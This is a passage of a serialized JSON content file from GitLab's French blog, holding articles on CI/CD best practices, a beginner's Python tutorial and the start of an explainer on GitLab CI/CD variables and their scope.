Principles","fr-fr/blog/4-must-know-devops-principles.yml","fr-fr/blog/4-must-know-devops-principles",{"_path":3314,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3315,"content":3321,"config":3328,"_id":3330,"_type":16,"title":3331,"_source":17,"_file":3332,"_stem":3333,"_extension":20},"/fr-fr/blog/how-to-keep-up-with-ci-cd-best-practices",{"title":3316,"description":3317,"ogTitle":3316,"ogDescription":3317,"noIndex":6,"ogImage":3318,"ogUrl":3319,"ogSiteName":841,"ogType":842,"canonicalUrls":3319,"schema":3320},"Quelles sont les meilleures pratiques CI/CD à connaître ?","Dans cet article, nous vous partageons tous nos conseils pour mettre en oeuvre une approche CI/CD réussie.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749661856/Blog/Hero%20Images/ci-cd-demo.jpg","https://about.gitlab.com/blog/how-to-keep-up-with-ci-cd-best-practices","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Quelles sont les meilleures pratiques CI/CD à connaître ?\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Valerie Silverthorne\"}],\n        \"datePublished\": \"2022-02-03\",\n      }",{"title":3316,"description":3317,"authors":3322,"heroImage":3318,"date":3324,"body":3325,"category":2738,"tags":3326,"updatedDate":3327},[3323],"Valerie Silverthorne","2022-02-03","L'intégration continue et la livraison continue sont au cœur de toute pratique DevOps réussie. Pour livrer des logiciels modernes, les équipes doivent se tenir au courant des meilleures pratiques en matière de CI/CD. Que signifie le CI/CD ? Comment mettre en place cette approche au sein de votre entreprise ?  Découvrez tous nos conseils dans cet article. \n\n## Qu’est-ce que le CI/CD ?\n\nLe [CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/ \"Qu'est-ce que le CI/CD ?\") (Continuous Integration/Continuous Delivery) est à la fois un processus, une méthodologie et un état d'esprit. En termes simples, l'intégration continue (CI) permet aux [équipes DevOps](https://about.gitlab.com/fr-fr/topics/devops/build-a-devops-team/ \"Equipe DevOps\") de rationaliser le développement de code grâce à l'automatisation. Elle simplifie la création de logiciels et l'intégration du code source, permet le [contrôle de version](https://about.gitlab.com/fr-fr/topics/version-control/ \"Contrôle de version\") et favorise la collaboration entre les équipes. \n\nEnsuite, la livraison continue (CD) prend le relais avec la mise en place de tests et de déploiements automatisés, permettant de faire gagner un temps considérable aux équipes Ops en charge de la livraison et du déploiement, et de [réduire la chaîne d'outils](https://about.gitlab.com/resources/whitepaper-forrester-manage-your-toolchain/ \"Gestion de la chaîne d'outils\") nécessaire au cycle de développement logiciel. Son maître-mot est là encore l'automatisation.\n\n## 10 meilleures pratiques CI/CD à suivre\n\nPour réussir votre approche CI/CD, faites de la notion de continuité le mantra de vos pratiques de développement, de l'intégration jusqu'au déploiement de votre logiciel. Le but du CI/CD dans l’approche DevOps est de livrer des logiciels plus rapidement qu'en suivant les méthodes traditionnelles. \n\nVoici dix conseils éprouvés par les équipes DevOps que vous pouvez suivre :\n\n__1. Ne compilez qu'une seule fois.__ Créer une nouvelle version à chaque étape est source d'incohérences. Utilisez plutôt les mêmes artefacts tout au long du pipeline CI/CD, dont les compilations doivent être indépendantes de l'environnement de développement.\n\n__2. Rationalisez les tests.__ Trouvez un équilibre entre leur portée et leurs performances. Si ces derniers prennent trop de temps, les utilisateurs essaieront de contourner le processus.\n\n__3. Échouez rapidement (*fail fast*).__ Avec l'intégration continue, les équipes de développement cherchent à identifier les problèmes le plus tôt possible, pour corriger le code fraîchement écrit. Limiter les changements de contexte améliore leur confort et la qualité de leur travail.\n\n__4. Faites-le quotidiennement.__ Plus les validations sont régulières, plus les équipes DevOps en bénéficieront. \n\n__5. Corrigez les erreurs.__ L'intégration continue et la livraison continue facilitent la correction d’erreurs de compilation.\n\n__6. Nettoyez les environnements de pré-production.__ Avec le temps, il devient de plus en plus difficile de garder une trace de toutes les modifications de configuration et mises à jour effectuées. C’est pourquoi il est important de nettoyer les environnements de pré-production entre chaque déploiement.\n\n__7. Automatisez en permanence.__ Continuez à ajuster votre pipeline CI/CD pour garantir un état « d’automatisation continue ». \n\n__8. Documentez votre travail.__ Assurez-vous que vos plans de release et de restauration sont bien documentés et compris par toute votre équipe. \n\n__9. Sécurisez votre logiciel.__ L’approche CI/CD implique le contrôle en amont. L’occasion d'intégrer la sécurité plus tôt dans le processus.\n\n__10. Travaillez en boucle.__ Veillez à ce que tous les membres de votre équipe soient impliqués dans les boucles de rétroactions.\n\nPour aller plus loin, consultez notre documentation dédiée à [l’utilisation de l’approche CI/CD avec GitLab](https://docs.gitlab.com/ee/topics/build_your_application.html \"Approche CI/CD avec GitLab\"). \n\n## Quelles sont les meilleures pratiques en matière de livraison continue ?\n\nSi l'intégration continue focalise souvent l'attention des équipes, les meilleures pratiques de livraison continue (CD) méritent, elles aussi, un tour d'horizon. \n\nVoici un résumé des meilleures pratiques en matière de livraison continue (CD) :\n\n- __Démarrez maintenant.__ N’attendez pas l'arrivée d'une nouvelle plateforme. Il est toujours possible d'améliorer la vôtre pour la rendre plus rapide et plus efficace.\n\n- *__Less is more.__* La meilleure livraison continue se fait avec un minimum d'outils.\n\n- __Suivez ce qui se passe.__ La mise en place de jalons peut vous aider à garder le contrôle sur vos tickets et vos merge requests. Ils sont efficaces lors de la mise en place de sprints et de releases agiles.\n\n- __Déployez automatiquement les modifications.__ Rationalisez les tests d'acceptation utilisateur et le staging avec l’automatisation. \n\n- __Gérez le pipeline de release.__ La solution ? L'automatisation.\n\n- __Établissez une surveillance.__ Surveiller de près le processus de production permet d'économiser du temps et de d'argent. La surveillance fournit aussi des données analytiques à l'entreprise.\n\n- __Lancez le déploiement continu.__ Une fois le processus de livraison continue en place, il vous est possible d'automatiser le déploiement, afin de lancer automatiquement vos modifications en production.\n\nTirez parti de tous les avantages de [l'intégration et de la livraison continues](https://about.gitlab.com/fr-fr/solutions/continuous-integration/ \"Intégration et livraison continues\") avec la plateforme [DevSecOps](https://about.gitlab.com/fr-fr/topics/devsecops/ \"DevSecOps\") de GitLab.  \n\n## Comment améliorer son pipeline CI/CD ?\n\nUn pipeline se définit comme la série d'étapes impliquées dans le déploiement d'une nouvelle version d'un logiciel. La surveillance et l'automatisation sont des concepts introduits dans un [pipeline CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ? \") pour améliorer le processus de développement d'applications, aussi bien pendant les phases d'intégration et de test que lors de la livraison et du déploiement du logiciel. \n\nLes étapes d'un pipeline CI/CD comprennent : la planification, l’analyse, la conception, la compilation, les tests, la release, le déploiement, la validation, la conformité et la maintenance. Elles peuvent être réalisées manuellement, mais c'est par leur automatisation qu'un pipeline CI/CD trouve sa valeur. \n\nPour améliorer votre pipeline CI/CD, envisagez les approches suivantes :\n\n- __Variez les stratégies de release.__ Vous pourriez envisager un déploiement Canary, qui permet de déployer de nouvelles fonctionnalités auprès d'un groupe restreint d'utilisateurs.\n\n- __Mettez en place un maximum de [tests automatisés](https://about.gitlab.com/blog/want-faster-releases-your-answer-lies-in-automated-software-testing/ \"Tests automatisés\"),__ car il n'y en a jamais assez.\n\n- __Réduisez le nombre d'outils.__ En minimisant leur nombre, vous limitez les étapes et les interactions nécessaires. L'approche [DevOps](https://about.gitlab.com/fr-fr/topics/devops/ \"DevOps\") requiert la centralisation des outils, y compris CI/CD.\n\n- __Intégrez à votre routine de travail l'analyse de la composition logicielle__ pour anticiper les problèmes critiques liés aux logiciels open source.\n\n## Comment mesurer le succès de votre approche CI/CD ?\n\nIl est impossible de savoir si vos pratiques CI/CD sont efficaces sans les mesurer. Les métriques jouent un rôle important dans l'amélioration des performances et dans l'identification des axes de progrès. Elles servent aussi de base pour mesurer l'impact des changements apportés. \n\nVoici des métriques importantes à utiliser :\n\n### Durée de cycle\n\nIl s'agit du temps nécessaire au déploiement d'une application, à partir du moment où le travail sur le code a commencé. La mesure des différentes phases de ce processus permet de déterminer la durée moyenne du cycle, le temps total de développement, et d'identifier d'éventuels goulots d'étranglement.\n\n### Time to value\n\nLe délai de création de valeur exprime le temps nécessaire à la publication du code. Cela comprend l'intégration, les tests, la livraison et le déploiement, et peut prendre de quelques minutes à quelques heures. Si une compilation nécessite plusieurs jours, alors le processus doit être revu.\n\n### Temps de disponibilité\n\nLe temps de disponibilité (ou *uptime*) est une mesure importante pour les équipes Ops, car il indique si tout fonctionne comme il se doit. Avec une stratégie CI/CD automatisée, les responsables opérationnels peuvent ainsi consacrer plus de temps à la résolution de problèmes liés à la stabilité et moins à ceux liés au workflow.\n\n### Taux d'erreur\n\nMesurer le taux d'erreur des applications fait naturellement partie du travail des équipes de développement. Cela permet de déceler des problèmes de qualité, de performance et de disponibilité. Parfois, un taux d'erreur élevé s'accompagne pourtant d'un uptime performant. Cela illustre la difficulté de fixer des objectifs opérationnels cohérents entre toutes les équipes, un des [challenges reconnus des pratiques CI/CD](https://about.gitlab.com/blog/modernize-your-ci-cd/ \"Challenges des pratiques CI/CD\"). \n\n### Coûts d'infrastructure\n\nDans le cadre d’un développement cloud-natif, les coûts d'infrastructure revêtent une importance stratégique. Le déploiement et la gestion d'une plateforme CI/CD peuvent entraîner des dépenses importantes s’ils ne sont pas contrôlés. Pour les maîtriser, il faut considérer tous les facteurs que représentent les coûts des fournisseurs de solutions cloud computing. Ils comprennent le matériel réseau, mais aussi la maintenance de l'infrastructure et la main-d'œuvre.\n\n### Fidélisation des collaborateurs\n\nCe n'est pas un mystère : un développeur valorisé et satisfait sera moins susceptible de quitter l'entreprise. La fidélisation des employés passe aussi par une collaboration efficace et de qualité. En étudiant le taux de rétention de vos effectifs, vous serez en mesure d’identifier des problèmes potentiels de gestion d'équipe.\n\n## Pourquoi faut-il suivre ces bonnes pratiques CI/CD ?\n\nLorsque les meilleures pratiques en intégration et livraison continues sont respectées, c'est toute l'entreprise qui en profite, des RH aux opérations. La mise en place de métriques de performance CI/CD apporte ainsi des données utiles au développement de nombreux aspects de l'entreprise.\n\nUn pipeline CI/CD efficace peut changer la donne pour vos équipes DevOps. Voici quelques-uns des principaux avantages :\n\n- __Les développeurs et développeuses écrivent du code au lieu de le corriger.__ Avec une chaîne d'outils réduite, le temps de maintenance diminue au profit de celui consacré à la production d'applications logicielles de qualité.\n\n- __Le code est en production.__ Les équipes de développement peuvent rapidement déployer leur code en production, ce qui contribue également à leur satisfaction au travail.\n\n- __Les équipes de développement se concentrent sur les tâches les plus importantes.__ Avec un processus CI/CD rationalisé, les équipes orientent leur travail sur des aspects plus cruciaux pour l’entreprise et ne perdent plus de temps à gérer des tâches à faible valeur ajoutée. \n\n- __L'innovation est facilitée.__ Dans un secteur toujours plus dynamique et concurrentiel, des processus CI/CD bien construits permettent aux entreprises de développer des logiciels plus facilement, plus rapidement et de manière plus sûre. Les équipes DevOps ont ainsi plus de temps et d'énergie pour créer et innover.\n\n- __Il est plus facile d'attirer et de retenir les talents.__ Les talents DevOps peuvent être très difficiles à séduire sur un marché du travail très compétitif. Une organisation faisant preuve d'excellence dans ses processus CI/CD pourra plus facilement démontrer l'importance qu'elle accorde à son équipe DevOps.\n\n- __Chacun fait ce qu’il sait faire de mieux.__ Une démarche CI/CD bien définie favorise une [collaboration optimale](https://about.gitlab.com/fr-fr/teamops/ \"TeamOps\") où chaque équipe peut se consacrer à sa fonction, qu'elle ait trait au développement, à la sécurité, aux tests ou aux opérations.\n\n## Stratégie de déploiement CI/CD\n\nL'objectif de l'approche CI/CD est simple : apporter au client une application logicielle à la fois plus performante et plus rapide. Les entreprises qui l'adoptent constatent une hausse considérable de leur productivité, l'astuce consistant à définir une stratégie de déploiement adaptée à leurs besoins. \n\nVoici quelques stratégies qui contribuent à la réussite d'un déploiement :\n\n- Engagez-vous à respecter la fréquence des livraisons continues.\n- Automatisez le processus de compilation.\n- Exécutez les tests en parallèle, et créez un pipeline de déploiement.\n- Corrigez votre logiciel en amont pour accélérer le rythme de développement sans conséquences néfastes.\n- Utilisez des outils d'intégration continue fournissant un retour d'information rapide.\n\n## Comment mettre en œuvre une approche CI/CD ?\n\nComme pour tout autre logiciel, définissez au préalable les moteurs économiques et stratégiques qui justifient l'adoption de l'approche CI/CD. Impliquez toutes les parties prenantes de l'entreprise dans le processus de décision et de mise en œuvre. Les équipes de développement doivent y participer activement, puisqu'elles seront les principaux utilisateurs du produit.\n\nEffectuez des recherches approfondies pour trouver quels logiciels faciliteront la mise en œuvre des meilleures pratiques CI/CD, et n'hésitez pas à recourir à des essais gratuits au besoin. \n\nEnsuite, démarrez le processus dans un esprit de constance. La patience ne semble pas de mise pour une approche visant à accélérer la livraison de logiciels, mais elle vous évitera de laisser des erreurs se glisser tout au long du cycle de développement de votre logiciel. Votre efficacité n'en sera que plus grande.\n\nEnfin, il est essentiel de conserver un processus d'intégration cohérent. Effectuez des tests unitaires, déclenchez manuellement des releases et consultez les métriques. Vous pourrez alors déterminer ce qui peut et doit être automatisé. \n\nEn suivant ces bonnes pratiques CI/CD, vous permettrez à votre entreprise et à votre équipe DevOps de gagner sur plusieurs tableaux. Non seulement vous profiterez de logiciels de meilleure qualité, développés plus rapidement, mais vous augmenterez par la même occasion la satisfaction et l’engagement de vos équipes de développement.\n",[1256,1257,1420],"2024-10-17",{"slug":3329,"featured":6,"template":683},"how-to-keep-up-with-ci-cd-best-practices","content:fr-fr:blog:how-to-keep-up-with-ci-cd-best-practices.yml","How To Keep Up With Ci Cd Best Practices","fr-fr/blog/how-to-keep-up-with-ci-cd-best-practices.yml","fr-fr/blog/how-to-keep-up-with-ci-cd-best-practices",{"_path":3335,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3336,"content":3342,"config":3347,"_id":3349,"_type":16,"title":3350,"_source":17,"_file":3351,"_stem":3352,"_extension":20},"/fr-fr/blog/beginner-guide-python-programming",{"title":3337,"description":3338,"ogTitle":3337,"ogDescription":3338,"noIndex":6,"ogImage":3339,"ogUrl":3340,"ogSiteName":841,"ogType":842,"canonicalUrls":3340,"schema":3341},"Apprendre Python : tout savoir sur ce langage de programmation","Python est de plus en plus populaire, et pour de bonnes raisons. Retrouvez toutes les informations essentielles pour faire vos premiers pas avec Python.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664962/Blog/Hero%20Images/python.jpg","https://about.gitlab.com/blog/beginner-guide-python-programming","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Apprendre Python : tout savoir sur ce langage de programmation\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"GitLab\"}],\n        \"datePublished\": \"2021-10-21\",\n      }",{"title":3337,"description":3338,"authors":3343,"heroImage":3339,"date":3344,"body":3345,"category":764,"tags":3346},[1295],"2021-10-21","Vous vous passionnez pour la programmation informatique et souhaitez en apprendre davantage sur Python ? Vous souhaitez savoir par où commencer pour maîtriser les bases de Python ? Découvrez dans cet article les concepts de base de ce langage. \n\n## Comment débuter sur Python ?\n\nPython est un langage de programmation puissant et facile à apprendre, à utiliser et à déployer, dont l'utilisation est très répandue dans la création d'applications web et de bureau. Python facilite également l'analyse de données et l'exécution de tâches [DevOps](https://about.gitlab.com/fr-fr/solutions/devops-platform/ \"Qu'est-ce que DevOps ? \"). C'est un langage de programmation gratuit, open source et orienté objet, utilisé pour écrire des scripts simples, tout comme des programmes complexes. Parmi les près de 700 langages de programmation, Python se distingue comme l'un des plus accessibles pour les débutants.\n\n### Installer Python\n\nAvant d'aborder les bases de Python, il est essentiel de télécharger et d'installer Python sur votre ordinateur de bureau ou votre ordinateur portable. Python fonctionne sur plusieurs plateformes, dont Linux, Windows et Mac. Il est préinstallé sur la plupart des systèmes Mac et Linux, mais il est préférable de télécharger la dernière version depuis le [site officiel de Python](https://www.python.org/downloads/ \"Site officiel de Python\").\n\nPour vérifier la version actuelle de Python sur votre système, ouvrez la ligne de commande et tapez « python -V ».\n\n![Invite de commande Python](https://about.gitlab.com/images/blogimages/python1.png){: .shadow}\n\nSi votre version est obsolète, téléchargez l'installation 32 ou 64 bits à partir du site Web, selon la configuration de votre système.\n\nIl existe d’autres alternatives pour télécharger le programme d’installation : sur Windows, vous pouvez l'installer directement à partir de Microsoft. Sur Linux, vous pouvez l'installer à l'aide du gestionnaire de paquets. Sur macOS, vous pouvez télécharger Python à partir de [Homebrew](https://brew.sh/ \"Homebrew\").\n\nUne fois le programme téléchargé, exécutez-le et confirmez l'installation du fichier. Vous pouvez dès lors commencer à utiliser Python. \n\nVoici un exemple d'installation de Python pour Windows.\n\n![Installation de Python pour Windows ](https://about.gitlab.com/images/blogimages/python2.png){: .shadow}\n\n### Exécuter Python dans l'invite de commande\n\nPour vérifier que Python est installé et fonctionne correctement sous Windows, ouvrez l'invite de commande et saisissez « python », ce qui lancera l'interpréteur. Vous pouvez y exécuter directement des codes Python. Par exemple, saisissez « 2*5+1 » et appuyez sur « Entrée ». Vous verrez « 11 » comme résultat. Saisissez « Quit () » pour quitter l'interpréteur.\n\n![Interpréteur Python](https://about.gitlab.com/images/blogimages/python3.png){: .shadow}\n\n### Exécuter Python dans l'IDE\n\nMaintenant que la dernière version de Python est installée, vous êtes prêt à commencer à programmer en Python. Pour écrire des scripts ou des programmes longs en Python, utilisez l'environnement de développement et d'apprentissage intégré ([IDLE](https://docs.python.org/fr/3/library/idle.html \"IDLE Python\")) de Python.\n\nLancez l'IDLE puis, dans le menu déroulant sélectionnez « Fichier », puis « Nouveau fichier », ce qui ouvre une nouvelle fenêtre d'édition. Vous avez à présent deux fenêtres sur votre écran : un *shell* Python et un fichier sans titre.\n\n![shell Python et fichier sans titre](https://about.gitlab.com/images/blogimages/python4.png){: .shadow}\n\nLe *shell* Python est un environnement REPL, abréviation de « *read-eval-print-loop* » (boucle de lecture-évaluation-affichage). Il exécute des extraits de code, généralement une instruction à la fois. Par exemple, en répétant le même calcul « 2*5+1 » que nous avons fait dans l'invite de commande, vous pouvez constater qu'un *shell* Python peut fonctionner comme une calculatrice.\n\n![Débuter sur Python avec une opération de calcul](https://about.gitlab.com/images/blogimages/python5.png){: .shadow}\n\nLa fenêtre sans titre est une fenêtre d'édition de texte permettant d'écrire des programmes complets. Le *shell* affiche son résultat. Par exemple, le premier programme conventionnel de Python pour les débutants consiste à afficher le texte « Hello World! ». Veillez à sauvegarder l'éditeur de texte avant de l'exécuter en appuyant sur « F5 ».\n\n![Affichage du texte Hello World! sur Python](https://about.gitlab.com/images/blogimages/python61.png){: .shadow}\n\n## Les bases de Python\n\nNous savons que vous avez hâte de commencer à écrire de longs scripts pour des jeux et des sites Web, mais il vous reste encore un long chemin à parcourir pour y arriver. Comme pour l’apprentissage de tout autre langage, vous devez d'abord comprendre les bases de Python.\n\nLa fonction __print()__, comme nous l’avons vu dans l'exemple « Hello World! », affiche une valeur dans la fenêtre de résultat. Une valeur est la chose la plus élémentaire qu'un programme utilise. Il peut s'agir d'une chaîne de caractères, d'une valeur numérique ou de tout autre objet Python. Tout objet entre guillemets simples ou doubles est appelé chaîne de caractères (string).\n\nPar exemple, le « Hello World! » affiché dans le programme ci-dessus est également une chaîne de caractères. Les valeurs numériques telles que 4 et 4.5 sont respectivement des nombres entiers et des nombres flottants. Vous pouvez transformer un nombre entier ou un nombre flottant en une chaîne de caractères, et vice versa en utilisant les fonctions intégrées __int()__, __float()__ et __str()__.\n\n![Image illustrant les fonctions str(), int() et float() de Python.](https://about.gitlab.com/images/blogimages/python7.png){: .shadow}\n\n## Le vocabulaire de Python\n\nPython est un des langages de programmation les plus simples. Il est facile à lire et à comprendre. Contrairement aux langages humains, Python possède un vocabulaire restreint, et des mots-clés réservés ayant une signification particulière. Les termes ne faisant pas partie de ce vocabulaire réservé n'ont de sens que pour vous et sont appelés variables. Ces 35 mots-clés réservés sont les suivants :\n\n![Les 35 mots-clés réservés à connaître pour apprendre Python](https://about.gitlab.com/images/blogimages/python8.png){: .shadow}\n\nVeillez à utiliser ces mots-clés dans leur but spécifique pour éviter d'induire l'interpréteur Python en erreur et de provoquer une erreur de syntaxe.\n\n### Nommer les variables\n\nVous aurez parfois besoin de stocker des valeurs dans votre code pour les récupérer plus tard, ce que vous pouvez faire en leur donnant des noms symboliques, appelés variables. Comme illustré ci-dessous, nous demandons à Python de stocker 5 et 6 avec les labels respectifs x et y, puis de les récupérer plus tard pour trouver leur somme. \n\n![Stockage des variables dans Python](https://about.gitlab.com/images/blogimages/python9.png){: .shadow}\n\nIl existe des règles pour choisir le nom d'une variable ; le non-respect de ces règles entraînera une erreur de syntaxe. \n\nVoici quelques règles obligatoires :\n- Le nom peut contenir des lettres et des chiffres, mais il ne peut pas commencer par un chiffre.\n- Un tiret bas peut être utilisé dans le nom pour séparer plusieurs mots.\n- Les symboles spéciaux comme @#$ sont interdits et ne doivent pas apparaître dans le nom.\n- Les mots-clés Python ne doivent pas être utilisés comme noms de variables.\n\n### Comprendre les opérateurs et les opérandes \n\nPython utilise des symboles spéciaux appelés « opérateurs » pour représenter les calculs mathématiques de base. Les valeurs auxquelles ces opérateurs sont appliqués sont appelées opérandes. Les symboles utilisés comme opérateurs pour la soustraction, l'addition, la division, la multiplication et l'exponentiation sont respectivement -, +, /, * et **.\n\n![Apprendre à coder en Python : symboles pour les opérateurs](https://about.gitlab.com/images/blogimages/python10.png){: .shadow}\n\nL'opérateur modulo (%) génère le reste du premier opérande divisé par le second opérande. Il est utile pour vérifier si un nombre est divisible par un autre et pour extraire le ou les chiffres les plus à droite d'un nombre.\n\n![Opérateur modulo](https://about.gitlab.com/images/blogimages/python11.png){: .shadow}\n\n### Utiliser les expressions\n\nUne combinaison de valeurs, de variables et d'opérateurs est appelée une expression. Une expression saisie dans le *shell* est évaluée et la réponse est affichée. Cependant, dans un script, une expression ne fait rien par elle-même.\n\nPython utilise la convention mathématique PEMDAS pour les opérateurs, ce qui signifie que P pour Parenthèses a la priorité la plus élevée, puis Exponentiation, Multiplication et Division, qui ont la même priorité. L'Addition et la Soustraction viennent ensuite et ont également la même priorité. Les opérateurs qui ont la même préférence sont également évalués de gauche à droite.\n\n![Apprendre python : PEMDAS](https://about.gitlab.com/images/blogimages/python12.png){: .shadow}\n\nLes opérateurs Addition et Multiplication fonctionnent aussi avec les chaînes de caractères pour la concaténation et la répétition d'une chaîne : \n\n![Opérateurs d'addition et de multiplication](https://about.gitlab.com/images/blogimages/python13.png){: .shadow}\n\nPython permet également d'obtenir la valeur d'une variable de l'utilisateur via son clavier. Cela peut être fait en utilisant une fonction intégrée appelée __input__.\n\n![Les bases de python : fonction input](https://about.gitlab.com/images/blogimages/python14.png){: .shadow}\n\n## Débutez sur Python en écrivant votre premier programme\n\nIl est maintenant temps d'écrire votre premier programme simple en utilisant tout ce que vous avez appris dans cet article. Écrivez un script qui prend deux nombres en entrée (input) et les additionne. Faites-le de vous-même, puis consultez le code ci-dessous pour comparer votre travail.\n\n![Écrire un premier programme sur Python](https://about.gitlab.com/images/blogimages/python15.png){: .shadow}\n\nFélicitations ! Vous venez d'écrire votre premier programme.\n\nApprendre Python est facile. Nous vous avons simplement aidé à acquérir les notions de base nécessaires pour maîtriser les bases de Python. C’est à vous de jouer maintenant ! \n\nPhoto par \u003Ca href=\"https://unsplash.com/@davidclode?utm_source=unsplash&utm_medium=referral&utm_content=creditCopyText\">David Clode\u003C/a> sur Unsplash.\n",[1420,3080,1069],{"slug":3348,"featured":6,"template":683},"beginner-guide-python-programming","content:fr-fr:blog:beginner-guide-python-programming.yml","Beginner Guide Python Programming","fr-fr/blog/beginner-guide-python-programming.yml","fr-fr/blog/beginner-guide-python-programming",{"_path":3354,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"seo":3355,"content":3361,"config":3367,"_id":3369,"_type":16,"title":3370,"_source":17,"_file":3371,"_stem":3372,"_extension":20},"/fr-fr/blog/demystifying-ci-cd-variables",{"title":3356,"description":3357,"ogTitle":3356,"ogDescription":3357,"noIndex":6,"ogImage":3358,"ogUrl":3359,"ogSiteName":841,"ogType":842,"canonicalUrls":3359,"schema":3360},"Variables d’environnement : tout savoir sur les variables CI/CD de GitLab","Les variables CI/CD permettent de contrôler les jobs et les pipelines. Découvrez tout ce que vous devez savoir sur les variables d'environnement de GitLab.","https://res.cloudinary.com/about-gitlab-com/image/upload/v1749664679/Blog/Hero%20Images/blog-image-template-1800x945__24_.png","https://about.gitlab.com/blog/demystifying-ci-cd-variables","\n                        {\n        \"@context\": \"https://schema.org\",\n        \"@type\": \"Article\",\n        \"headline\": \"Variables d’environnement : tout savoir sur les variables CI/CD de GitLab\",\n        \"author\": [{\"@type\":\"Person\",\"name\":\"Veethika Mishra\"}],\n        \"datePublished\": \"2021-04-09\",\n      }",{"title":3356,"description":3357,"authors":3362,"heroImage":3358,"date":3364,"body":3365,"category":825,"tags":3366,"updatedDate":1829},[3363],"Veethika Mishra","2021-04-09","Définir et utiliser des variables dans le cadre d'une approche [CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/) s'avère une méthode très flexible. Ces variables sont d'une grande utilité pour contrôler les jobs et les pipelines, tout en vous permettant d'éviter de coder en dur des valeurs directement dans votre fichier de configuration `.gitlab-ci.yml`. \n\nDans [GitLab CI/CD](https://docs.gitlab.com/ee/ci/), les variables peuvent être utilisées pour personnaliser les jobs en définissant et en stockant des valeurs spécifiques. Pour définir vos variables CI/CD dans GitLab, accédez à **Paramètres >> CI/CD >> Variables** ou définissez-les simplement dans le fichier `.gitlab-ci.yml`. Sachez que les variables servent également d'alternative aux valeurs codées en dur.\n\nUtiliser des variables s’avère particulièrement utile pour configurer des services tiers dans différents environnements de déploiement, tels que l'environnement de test (`testing`), l'environnement de préproduction (`staging`), l'environnement de production (`production`), et plus encore. Pour modifier les services liés à ces environnements, il suffit de changer simplement la variable qui pointe vers le point de terminaison d'API associé aux services. Vous pouvez également utiliser des variables pour configurer les jobs et les rendre disponibles en tant que variables d'environnement dans les jobs lorsqu'ils s'exécutent.\n\nDécouvrez dans cet article tout ce que vous devez savoir sur les variables d’environnement afin de mieux comprendre leur fonctionnement et leur portée. \n\n![GitLab lit le fichier .gitlab-ci.yml pour analyser la variable référencée, puis envoie les informations à GitLab Runner. Les variables sont exposées et générées par le runner.](https://about.gitlab.com/images/blogimages/demystifying-ci-cd-variables/variables_processing.jpeg)\n\n## La relation entre les variables et les environnements\n\nLe processus de développement logiciel comprend plusieurs étapes destinées à tester un produit avant de le déployer et de le mettre à disposition des utilisateurs. Les [environnements](https://docs.gitlab.com/ee/ci/environments/) sont utilisés pour définir ces étapes, qui peuvent différer d'une équipe à l'autre, voire d'une entreprise à l'autre.\n\nLes variables, quant à elles, sont des valeurs de données susceptibles de changer à la suite d'une interaction entre un utilisateur et un produit. Par exemple, son âge, ses préférences ou toute autre information qui pourrait déterminer l'étape suivante qui lui sera présentée dans le flux de tâches du produit.\n\nLe terme [variable d'environnement](https://docs.gitlab.com/ee/administration/environment_variables.html) fait souvent référence à des variables définies dans un environnement donné, mais en dehors de l'application. Les variables dans GitLab CI/CD offrent aux équipes de développement la possibilité de configurer des valeurs dans le code. L'intérêt principal étant de garantir sa flexibilité. Ces variables permettent aux utilisateurs de modifier une application déployée dans un certain environnement sans toucher au code. Il est possible d'exécuter des tests en toute simplicité ou même d'intégrer des services tiers en modifiant une variable d'environnement de configuration en dehors de l'application.\n\n## La portée des variables dans l'approche CI/CD\n\n![Ordre de priorité des variables CI/CD : 1) Exécution manuelle du pipeline, variables de déclenchement et de planification du pipeline, 2) Variables protégées au niveau du projet, au niveau du groupe et au niveau de l'instance, 3) Variables CI/CD héritées, 4) Variables globales définies dans yml au niveau du job, 5) Variables de déploiement, 6) Variables CI/CD prédéfinies](https://about.gitlab.com/images/blogimages/demystifying-ci-cd-variables/variables_precedence.jpeg)\n\n### Variables définies dans `.gitlab-ci.yml`\n\nLes variables qui doivent être disponibles dans l'environnement du job peuvent être ajoutées à GitLab. Ces variables CI/CD stockent la configuration du projet ne contenant pas de données sensibles, comme l'URL de la base de données dans le fichier `.gitlab-ci.yml`. Réutilisez cette variable dans plusieurs jobs ou scripts, là où la valeur est nécessaire. Si la valeur change, vous n'avez besoin de mettre à jour la variable qu'une seule fois. Le changement se reflète ensuite partout où la variable est utilisée.\n\n### Variables CI/CD au niveau du projet\n\nUn cran au-dessus des exigences spécifiques au dépôt, vous pouvez définir des variables CI/CD dans les [paramètres du projet](https://docs.gitlab.com/ee/ci/variables/#for-a-project), afin qu'elles soient disponibles dans les [pipelines CI/CD](https://about.gitlab.com/fr-fr/topics/ci-cd/cicd-pipeline/ \"Qu'est-ce qu'un pipeline CI/CD ?\"). Celles-ci sont stockées en dehors du dépôt (c'est-à-dire qu'elles ne figurent pas dans le fichier `.gitlab-ci.yml`), mais peuvent néanmoins être utilisées dans les scripts et la configuration CI/CD. Le stockage des variables en dehors du fichier `.gitlab-ci.yml` limite ces valeurs à la portée du projet uniquement, sans les enregistrer en texte brut dans le projet.\n\n### Variables CI/CD au niveau du groupe et de l'instance\n\nCertaines variables sont pertinentes à l'échelle du groupe ou de l'instance et peuvent être utiles à tous les projets associés à un groupe ou à une instance spécifique. Définissez les variables dans les [paramètres du groupe ou de l'instance](https://docs.gitlab.com/ee/ci/variables/#for-a-group) afin que tous les projets de ces portées puissent utiliser les variables sans avoir besoin d'en connaître la valeur ou de les recréer pour chaque projet de portée inférieure. Par exemple, une valeur commune à plusieurs projets se gère facilement si elle ne doit être mise à jour qu'à un seul endroit. Alternativement, plusieurs projets peuvent utiliser un mot de passe spécifique sans avoir besoin de connaître la valeur du mot de passe lui-même.\n\n## Jobs et pipelines en tant qu'environnements\n\nEn plus d'être utilisées comme des variables d'environnement, les variables dans GitLab CI/CD fonctionnent également dans la portée du fichier de configuration `.gitlab-ci.yml` pour définir le comportement du pipeline, 